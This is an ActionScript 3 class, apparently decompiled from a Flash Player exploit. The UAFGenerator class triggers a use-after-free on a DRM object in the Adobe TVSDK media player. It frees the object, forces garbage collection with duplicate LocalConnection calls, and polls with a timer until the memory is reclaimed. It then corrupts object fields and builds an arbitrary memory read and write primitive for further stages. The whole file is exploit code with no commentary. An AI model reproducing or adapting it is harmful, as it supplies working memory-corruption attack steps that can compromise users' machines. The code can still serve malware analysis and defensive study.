package
{
   import com.adobe.tvsdk.mediacore.MediaPlayer;
   import com.adobe.tvsdk.mediacore.PSDK;
   import com.adobe.tvsdk.mediacore.PSDKEventDispatcher;
   import flash.events.TimerEvent;
   import flash.net.LocalConnection;
   import flash.utils.Endian;
   import flash.utils.Timer;
   
   public class UAFGenerator
   {
       
      
      var var_16:DRM_obj;
      
      var var_15:MediaPlayer;
      
      var var_13:DRM_obj;
      
      var var_17:Mem_Arr;
      
      var var_14:Timer;
      
      var var_18:uint;
      
      var var_1:MainExp;
      
      public function UAFGenerator(param1:MainExp)
      {
         var param1:MainExp = param1;
         ;
         super();
         this.var_1 = param1;
         this.method_2();
         try
         {
            new LocalConnection().connect("foo");
            new LocalConnection().connect("foo");
         }
         catch(e:Error)
         {
            this.var_13 = new DRM_obj();
         }
         this.var_14 = new Timer(100,1000);
         this.var_14.addEventListener("timer",this.method_1);
         this.var_14.start();
      }
      
      public function method_2() : void
      {
         var _loc1_:PSDK = PSDK.pSDK;
         var _loc2_:PSDKEventDispatcher = _loc1_.createDispatcher();
         this.var_15 = _loc1_.createMediaPlayer(_loc2_);
         this.var_16 = new DRM_obj();
         this.var_15.drmManager.initialize(this.var_16);
         this.var_16 = null;
      }
      
      public function method_1(param1:TimerEvent) : void
      {
         if(this.var_13.a1 != 4369)
         {
            this.var_14.stop();
            this.flash25();
         }
      }
      
      public function flash24() : void
      {
      }
      
      public function flash25() : void
      {
         var _loc1_:int = 0;
         var _loc2_:uint = null;
         this.var_17 = new Mem_Arr();
         this.var_17.length = 512;
         if(this.var_13.a14 != 0)
         {
            _loc1_ = 0;
            while(_loc1_ < 5)
            {
               this.var_13.a32 = this.var_13.a14 + 8 * _loc1_ + 7;
               this.var_17.flash26(_loc1_ * 2 + 1,this.var_17.flash25());
               _loc1_++;
            }
            this.var_17.a11 = 0;
            this.var_18 = uint(uint(this.var_13.a14));
            this.var_13.a14 = this.var_13.a31 + 19 * 4 + 16 - 1;
            _loc2_ = this.var_13.a22 ^ this.var_13.a26;
            this.var_13.a22 = 0;
            this.var_13.a23 = -1;
            this.var_13.a24 = -1;
            this.var_13.a26 = this.var_13.a22 ^ _loc2_;
            this.var_13.a27 = this.var_13.a23 ^ _loc2_;
            this.var_13.a28 = this.var_13.a24 ^ _loc2_;
            this.var_13.a29 = this.var_13.a25 ^ _loc2_;
            this.var_17.endian = Endian.LITTLE_ENDIAN;
            Primit.flash20(this.var_17,this.var_13);
            this.var_13.a14 = this.var_18;
            return;
         }
         this.var_1.flash21();
      }
   }
}
